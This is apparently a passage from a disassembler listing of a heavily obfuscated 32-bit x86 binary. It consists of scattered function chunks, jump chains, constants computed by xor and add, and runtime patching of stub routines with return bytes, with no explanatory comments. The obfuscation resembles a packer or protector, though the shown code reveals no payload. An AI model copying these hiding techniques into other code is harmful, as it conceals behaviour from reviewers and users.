; START	OF FUNCTION CHUNK FOR sub_43B48A

loc_449195:				; CODE XREF: sub_43B48A:loc_43AB3Dj
		jz	loc_44CA8D
		jmp	loc_43DF43
; END OF FUNCTION CHUNK	FOR sub_43B48A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_4491A0:				; CODE XREF: sub_452A73-10DB3j
		jl	loc_44AFE9
		mov	edi, [edx]
		jnb	loc_450FB2

loc_4491AE:				; CODE XREF: dviuq5id:loc_44103Cj
		jmp	loc_456C5A
; END OF FUNCTION CHUNK	FOR sub_452A73

; =============== S U B	R O U T	I N E =======================================



sub_4491B3	proc near		; DATA XREF: sub_439CB7+190B2o
		add	esi, 0A873CA76h
		xchg	esi, [esp+0]
sub_4491B3	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_4491BC:				; CODE XREF: sub_443F7F:loc_44BDA7j
		jmp	loc_448AE3
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_4491C1:				; CODE XREF: sub_446B53+D64Fj
		jz	loc_43D657
		jmp	loc_442128
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------

loc_4491CC:				; CODE XREF: dviuq5id:00445949j
		jge	loc_44D0A7
; START	OF FUNCTION CHUNK FOR sub_441B17

loc_4491D2:				; CODE XREF: sub_441B17+E0A7j
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_441B17
; ---------------------------------------------------------------------------
		push	48310D3Dh
		and	eax, 0D98BF563h
		shl	eax, 1Bh
		sbb	ebx, 0F08CA2D6h
		jmp	loc_44D0A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_4491F0:				; CODE XREF: sub_4560AC-D0BCj
		mov	ebx, esi
		xchg	ebx, [esp+0]
		push	463BD20Eh
		pop	esi
		xor	esi, 28991426h
		cmp	esi, 87DE2370h
		jmp	loc_44FB81
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44920D:				; CODE XREF: sub_43FDFB+B634j
		jmp	loc_44E4DB
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		dw 444h
dword_449214	dd 7B5AA1C2h		; DATA XREF: sub_43FA59+14C5Bw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_449218:				; CODE XREF: sub_442BFE-2E3Dj
		jmp	loc_4558CE
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44921D:				; CODE XREF: sub_44FCBC-16B51j
		jmp	sub_44E3BA
; END OF FUNCTION CHUNK	FOR sub_44FCBC

; =============== S U B	R O U T	I N E =======================================



sub_449222	proc near		; CODE XREF: sub_4176BD+31p
					; DATA XREF: c.7ld2ih:off_41D008o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043910B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043ABC8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0043D50C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043E12B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043E1B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043F48F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FA75 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044224E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00445557 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044562F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445A05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004481A4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00448985 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCBB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044DDDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EC26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045024B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00451A61 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00452D73 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045482E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004551A7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00455634 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456EA8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004588F3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00458EB4 SIZE 00000013 BYTES

		jnb	loc_458EB4
		mov	eax, ds:dword_439C00
		jmp	loc_445557
sub_449222	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_449233:				; CODE XREF: dviuq5id:00456871j
		retn
; ---------------------------------------------------------------------------

loc_449234:				; CODE XREF: dviuq5id:00450F94j
		inc	ds:dword_448954
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		call	nullsub_3
		push	ebx
		push	0FF81187Ch
		xchg	ebp, [esp]
		jmp	loc_439B88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_449256:				; CODE XREF: sub_45944F:loc_451170j
		xchg	ebp, [esp+0]
		call	sub_43D28E
		push	1A1C8AA2h
		pop	eax
		add	eax, ds:4000FBh
		or	eax, 8BCC5CABh
		add	eax, 2EF8AF02h
		jmp	loc_457793
; END OF FUNCTION CHUNK	FOR sub_45944F
; ---------------------------------------------------------------------------
		cmp	ebx, 70D394F8h
		jmp	loc_43E820

; =============== S U B	R O U T	I N E =======================================



sub_449286	proc near		; CODE XREF: dviuq5id:0043B185p
					; dviuq5id:0044D317j

; FUNCTION CHUNK AT 0044E4B0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	[ebx], eax
		pop	ebx
		jmp	loc_44E4B0
sub_449286	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449292:				; CODE XREF: dviuq5id:0044B6A7j
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		push	edi
		push	4D08FFDDh
		pop	edi
		rol	edi, 9
		jmp	loc_4393DD
; ---------------------------------------------------------------------------

locret_4492AA:				; CODE XREF: dviuq5id:loc_452671j
		retn
; ---------------------------------------------------------------------------

loc_4492AB:				; CODE XREF: dviuq5id:004537B9j
		jmp	locret_446967
; ---------------------------------------------------------------------------
		not	ebp
		jmp	loc_441F70
; ---------------------------------------------------------------------------
		pushf
		jmp	loc_43EAD2
; ---------------------------------------------------------------------------

loc_4492BD:				; CODE XREF: dviuq5id:0044BD69j
		xchg	eax, [ebx]
; START	OF FUNCTION CHUNK FOR sub_44549E

loc_4492BF:				; CODE XREF: sub_44549E:loc_44BD5Cj
		or	eax, 32CBD704h
		add	eax, 0CE1C8A5Dh
		or	eax, 0C49980C4h
		jmp	loc_44F9A6
; END OF FUNCTION CHUNK	FOR sub_44549E
; ---------------------------------------------------------------------------

loc_4492D6:				; CODE XREF: dviuq5id:004399D0j
		jno	loc_4506CD

; =============== S U B	R O U T	I N E =======================================



sub_4492DC	proc near		; CODE XREF: sub_44EAC4-10384p

; FUNCTION CHUNK AT 004482C4 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[ebx], eax
		pop	ebx
		lea	eax, nullsub_8
		jmp	loc_4482C4
sub_4492DC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4492EE:				; CODE XREF: dviuq5id:00453800j
		mov	edi, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_4492F0	proc near		; CODE XREF: sub_458A47+3p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B0F0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C192 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043C787 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043EE24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441103 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044258D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443FA3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00444047 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044421F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00446434 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004464E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446777 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004468FB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004476F9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044805A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004490ED SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00449CA8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A925 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044AE3A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D87E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00450421 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00450E8B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00451327 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0045187E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004526D1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452B40 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00452D7E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00452ED5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452F5F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B41 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004553F3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004561DB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00456680 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457299 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00457FC1 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00458E55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004591C7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459445 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00459D37 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0045A01C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		push	edi
		call	sub_439FAF

loc_4492FB:				; CODE XREF: dviuq5id:004583C3j
		jmp	loc_452ED5
sub_4492F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449300:				; CODE XREF: dviuq5id:00447A85j
		jmp	loc_455EF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_449305:				; CODE XREF: sub_44B624+1DB6j
		jl	loc_4412B5
		add	ecx, 7431963Bh
		popf
		jle	loc_450D0D
		xor	esi, 0AE93BA5Fh
		jmp	loc_4412B5
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------

loc_449323:				; DATA XREF: sub_44CD6F+Bo
		jnz	loc_440F60
		call	sub_44BA8C
		mov	edx, 0E5254649h
		call	sub_444466
		mov	ds:dword_44DE84, eax
; START	OF FUNCTION CHUNK FOR sub_45844D

loc_44933D:				; CODE XREF: sub_45844D:loc_44A29Ej
					; sub_450217:loc_44ABCBj ...
		mov	esp, ebp
		jmp	loc_43B1E2
; END OF FUNCTION CHUNK	FOR sub_45844D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_487. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_449345:				; CODE XREF: dviuq5id:loc_45300Cj
		jmp	loc_4422D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448213

loc_44934A:				; CODE XREF: sub_448213+17j
		jmp	loc_45351B
; END OF FUNCTION CHUNK	FOR sub_448213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_44934F:				; CODE XREF: sub_44C2F6-7B97j
		jmp	loc_444BC4
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439AA6

loc_449354:				; CODE XREF: sub_439AA6-3F0j
		jmp	loc_43A707
; END OF FUNCTION CHUNK	FOR sub_439AA6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_449359:				; CODE XREF: sub_43C4B5:loc_43C450j
		jz	loc_440451

loc_44935F:				; CODE XREF: sub_43A160+EB82j
		jmp	loc_43EBD4
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
		xor	edx, 0DBB2752Eh
		or	esi, 12B86982h
		pushf
		jmp	loc_44A79E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_449376:				; CODE XREF: sub_449AC6+9F06j
		add	eax, 4
		mov	edx, [eax]
		mov	al, 1
		call	edx
		pop	ebp
		xor	eax, eax
		mov	[ebp-4], eax
		jmp	loc_4397E1
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------

loc_44938A:				; CODE XREF: dviuq5id:loc_43D129j
		cmp	ebx, eax
		jmp	loc_4469AD
; ---------------------------------------------------------------------------

loc_449391:				; CODE XREF: dviuq5id:loc_43C322j
		pop	edx
		rol	eax, 11h
		or	eax, 5FC14938h
		cmp	eax, 92AF4417h
		jmp	loc_44007C
; ---------------------------------------------------------------------------

loc_4493A6:				; CODE XREF: dviuq5id:0044106Bj
		cmp	ebx, 0F14D4223h
		jmp	loc_45452E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_4493B1:				; CODE XREF: sub_44C6B8:loc_44C6C1j
		pop	edi
		sub	edi, 0C489DC33h
		test	edi, 4000h
		jmp	loc_43DEA6
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------

loc_4493C3:				; CODE XREF: dviuq5id:00449454j
		jbe	loc_43EAB7
		ror	eax, 1Fh
		not	eax
		cdq
		ror	ebp, 8
		jmp	loc_4561AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_4493D7:				; CODE XREF: sub_4427AE:loc_454E22j
		jnz	loc_45497A
		jmp	loc_43B3AE
; END OF FUNCTION CHUNK	FOR sub_4427AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4493E3:				; CODE XREF: dviuq5id:0045A5BDj
		jmp	loc_444FCC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_4493E9:				; CODE XREF: sub_440D0D+D3E1j
		jmp	loc_45330C
; END OF FUNCTION CHUNK	FOR sub_440D0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_4493EE:				; CODE XREF: sub_445498:loc_440569j
		jb	loc_43FF81
		mov	eax, [esp+8+var_8]
		push	ebp
		mov	ebp, edx
		call	sub_45753F

loc_4493FF:				; CODE XREF: sub_457942+2Cj
		xchg	esi, ebx

loc_449401:				; CODE XREF: sub_457942:loc_457963j
		xor	edi, 1E50963Ch
		cmp	edi, 7013CCCh
		jmp	loc_4556B9
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_449412:				; CODE XREF: sub_4525D0-C502j
		jnz	loc_45774B
		jmp	loc_4519D7
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_44941E:				; CODE XREF: dviuq5id:0044AAA0j
		jmp	loc_44398C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449423	proc near		; CODE XREF: sub_4582AD:loc_4582B2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043E2FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448660 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_448660
sub_449423	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44942C:				; CODE XREF: sub_43FA59+139F0j
		push	eax
		pushf
		push	0E0069A90h
		pop	eax
		xor	eax, 95908BD5h
		and	eax, 0CF150E8Bh
		test	eax, 40h
		jmp	loc_45811A
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------

loc_44944B:				; CODE XREF: dviuq5id:0043F0A3j
		cmp	eax, ebx
		jmp	loc_45847C
; ---------------------------------------------------------------------------

loc_449452:				; CODE XREF: dviuq5id:0045576Ej
		test	ebx, esi
		jmp	loc_4493C3
; ---------------------------------------------------------------------------
		push	ecx
		push	0FF734504h
		pop	ecx
		xor	ecx, 43BFBDA8h
		add	ecx, 4374D860h
		jmp	loc_442B9E
; ---------------------------------------------------------------------------

loc_449471:				; CODE XREF: dviuq5id:0043A4EFj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439E9D
		jmp	loc_43C2CF

; =============== S U B	R O U T	I N E =======================================



sub_449485	proc near		; DATA XREF: sub_450686-B351o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043A5A5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043A6A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B4C8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043CA2A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043CE63 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043D699 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E69C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043EA8B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043F494 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043F859 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FE91 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00441E9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442F81 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004446F7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004477E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004496BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A66E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BCDC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044C670 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00450A88 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00451CD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004522CA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004527D9 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00455377 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00455B83 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00458E30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004596CF SIZE 0000000B BYTES

		push	ebx
		push	6C305A5Fh
		pop	ebx
		or	ebx, 0B1299FD9h
		add	ebx, 5BA22FDDh
		jb	loc_4446F7

loc_44949E:				; CODE XREF: sub_44952D-5429j
		jmp	loc_44A66E
sub_449485	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4494A3:				; CODE XREF: dviuq5id:0043D710j
		jmp	loc_455306
; ---------------------------------------------------------------------------

loc_4494A8:				; CODE XREF: dviuq5id:0044D556j
		js	locret_45234B

loc_4494AE:				; CODE XREF: dviuq5id:00448547j
		and	esi, 2E201F8Ch
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4494B4:				; CODE XREF: sub_43FDFB:loc_44D549j
		add	ebx, 8042DEAFh
		mov	[ebx], eax

loc_4494BC:				; CODE XREF: dviuq5id:0044CFAEj
		pop	ebx
		lea	eax, nullsub_4
		mov	byte ptr [eax],	0C3h
		jmp	loc_4410F1
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_4494CB:				; CODE XREF: dviuq5id:loc_43D88Bj
		push	ecx
		push	0E02A8435h
; START	OF FUNCTION CHUNK FOR sub_43AE68

loc_4494D1:				; CODE XREF: sub_43AE68:loc_446CC7j
		pop	ecx
		sub	ecx, 0FD0D0673h
		rol	ecx, 1Ah
		test	ecx, 8
		jmp	loc_44CC79
; END OF FUNCTION CHUNK	FOR sub_43AE68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451DAA

loc_4494E6:				; CODE XREF: sub_448830+Cj
		test	al, al
		call	sub_44E389

loc_4494ED:				; CODE XREF: sub_44E89E+B52Bj
		jmp	loc_45412B
; END OF FUNCTION CHUNK	FOR sub_451DAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_4494F2:				; CODE XREF: sub_4411C6+FB75j
		jmp	loc_439D00
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1C4

loc_4494F7:				; CODE XREF: sub_43B1C4:loc_442DEAj
		call	sub_445A59
		mov	eax, 9E471775h
		call	sub_453642
		push	offset sub_4528B3
		jmp	nullsub_447
; END OF FUNCTION CHUNK	FOR sub_43B1C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_449510:				; CODE XREF: sub_43EB11+E0F9j
		add	edi, ds:4000F3h
		sub	edi, 0DE2E3E1Eh
		add	edi, 1220710Dh
		push	offset sub_43DD9F
		jmp	nullsub_265
; END OF FUNCTION CHUNK	FOR sub_43EB11
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_456. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44952D	proc near		; CODE XREF: sub_44279B:loc_439ED9j
					; sub_43C8F3+8p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C868 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004406DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440BAE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440DD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443AF4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004440FE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445DDF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044660B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448B19 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044B8DE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0045042A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004504E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450BD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004558E2 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		jmp	loc_450BD9
sub_44952D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44250B

loc_449539:				; CODE XREF: sub_44250B-6159j
		jnz	loc_451C60
		jmp	loc_458D8C
; END OF FUNCTION CHUNK	FOR sub_44250B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_362. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_449545:				; CODE XREF: sub_43CB4C+7B37j
		or	eax, 2C2590C9h
		not	edx
		mov	[ecx], edx
		jmp	loc_43C602
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_449554:				; CODE XREF: dviuq5id:0043A7ECj
					; sub_440898:loc_4555C1j
		xor	eax, 1C473F0Ch
		add	eax, 99B36D2Ah
		rol	eax, 3
		xor	eax, 0E9D87B41h
		add	eax, ebp
		add	eax, 8DE365C4h
		mov	dword ptr [eax], 6C43776Fh
		jmp	loc_451C07
; END OF FUNCTION CHUNK	FOR sub_440898

; =============== S U B	R O U T	I N E =======================================



sub_44957C	proc near		; CODE XREF: dviuq5id:0043B766p
					; dviuq5id:0043EACDj

; FUNCTION CHUNK AT 0044D3DF SIZE 00000003 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		call	sub_4411C6
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_2
		pop	ecx
		jmp	loc_44D3DF
sub_44957C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449599:				; DATA XREF: sub_4595B5:loc_44FD31o
		add	eax, 2A4C86B4h
		add	eax, ebp
		add	eax, 0FD437946h
		mov	eax, [eax]
		push	eax
		push	esi
		push	0C2DF60F6h
		xchg	ebp, [esp]
		jmp	loc_456480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450D5C

loc_4495B8:				; CODE XREF: sub_450D5C:loc_444710j
					; dviuq5id:0044F4DFj
		add	edi, 41DD1BB0h
		xchg	edi, [esp+0]
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_450D5C
; ---------------------------------------------------------------------------

loc_4495C6:				; CODE XREF: dviuq5id:loc_450A2Aj
		jnz	loc_43B17F
		jb	loc_459CC5
		jmp	loc_453982
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C6B8

loc_4495D8:				; CODE XREF: sub_44C6B8+69E6j
		jmp	nullsub_7
; END OF FUNCTION CHUNK	FOR sub_44C6B8
; ---------------------------------------------------------------------------

loc_4495DD:				; CODE XREF: dviuq5id:0044230Fj
		jl	loc_44D47A

loc_4495E3:				; CODE XREF: dviuq5id:loc_4480FBj
		push	0C458A116h
		pop	eax
		add	eax, 677792E0h
		and	eax, 0DC1DBB03h
		jmp	loc_457AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_4495FA:				; CODE XREF: sub_43938B+14BCDj
		mov	esi, [ecx]
		jmp	loc_451C50
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_449601:				; CODE XREF: sub_440898-59j
		jo	loc_4435AF
		push	9CA69F4Fh
		mov	[edx], ecx
		jmp	loc_443037
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4486F9

loc_449613:				; CODE XREF: sub_4486F9-B485j
					; sub_4486F9:loc_455227j
		push	eax
		lea	eax, loc_43C4A8
; END OF FUNCTION CHUNK	FOR sub_4486F9
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_44961A:				; CODE XREF: sub_44297E:loc_44FD3Bj
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0]
		jmp	loc_449FD2
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------
		mov	ds:off_41D12C, eax
		lea	eax, sub_446465
		mov	byte ptr [eax],	0C3h
		jmp	loc_44903F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_449639:				; CODE XREF: sub_446465-9995j
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		jmp	loc_45A0EE
; END OF FUNCTION CHUNK	FOR sub_446465

; =============== S U B	R O U T	I N E =======================================



sub_449647	proc near		; CODE XREF: sub_448FC7-E6B3j
		push	ebp
sub_449647	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_449648:				; CODE XREF: sub_448FC7:loc_4486C3j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4588EA
		jmp	loc_44A8AE
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D168
; ---------------------------------------------------------------------------

loc_44965F:				; CODE XREF: dviuq5id:00453239j
		jmp	sub_446181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_510. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jz	loc_443F18
		mov	eax, [esp]
		call	sub_447E22
; START	OF FUNCTION CHUNK FOR sub_456053

loc_449673:				; CODE XREF: sub_456053+17j
		jmp	loc_4554DE
; END OF FUNCTION CHUNK	FOR sub_456053
; ---------------------------------------------------------------------------

loc_449678:				; CODE XREF: dviuq5id:0044E73Aj
		jmp	sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448424

loc_44967D:				; CODE XREF: sub_448424+Bj
		jnz	loc_453591
		jmp	loc_4523F4
; END OF FUNCTION CHUNK	FOR sub_448424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BD3

loc_449688:				; CODE XREF: sub_458BD3+Aj
		pop	ecx
		xor	ecx, 0C2C918B2h
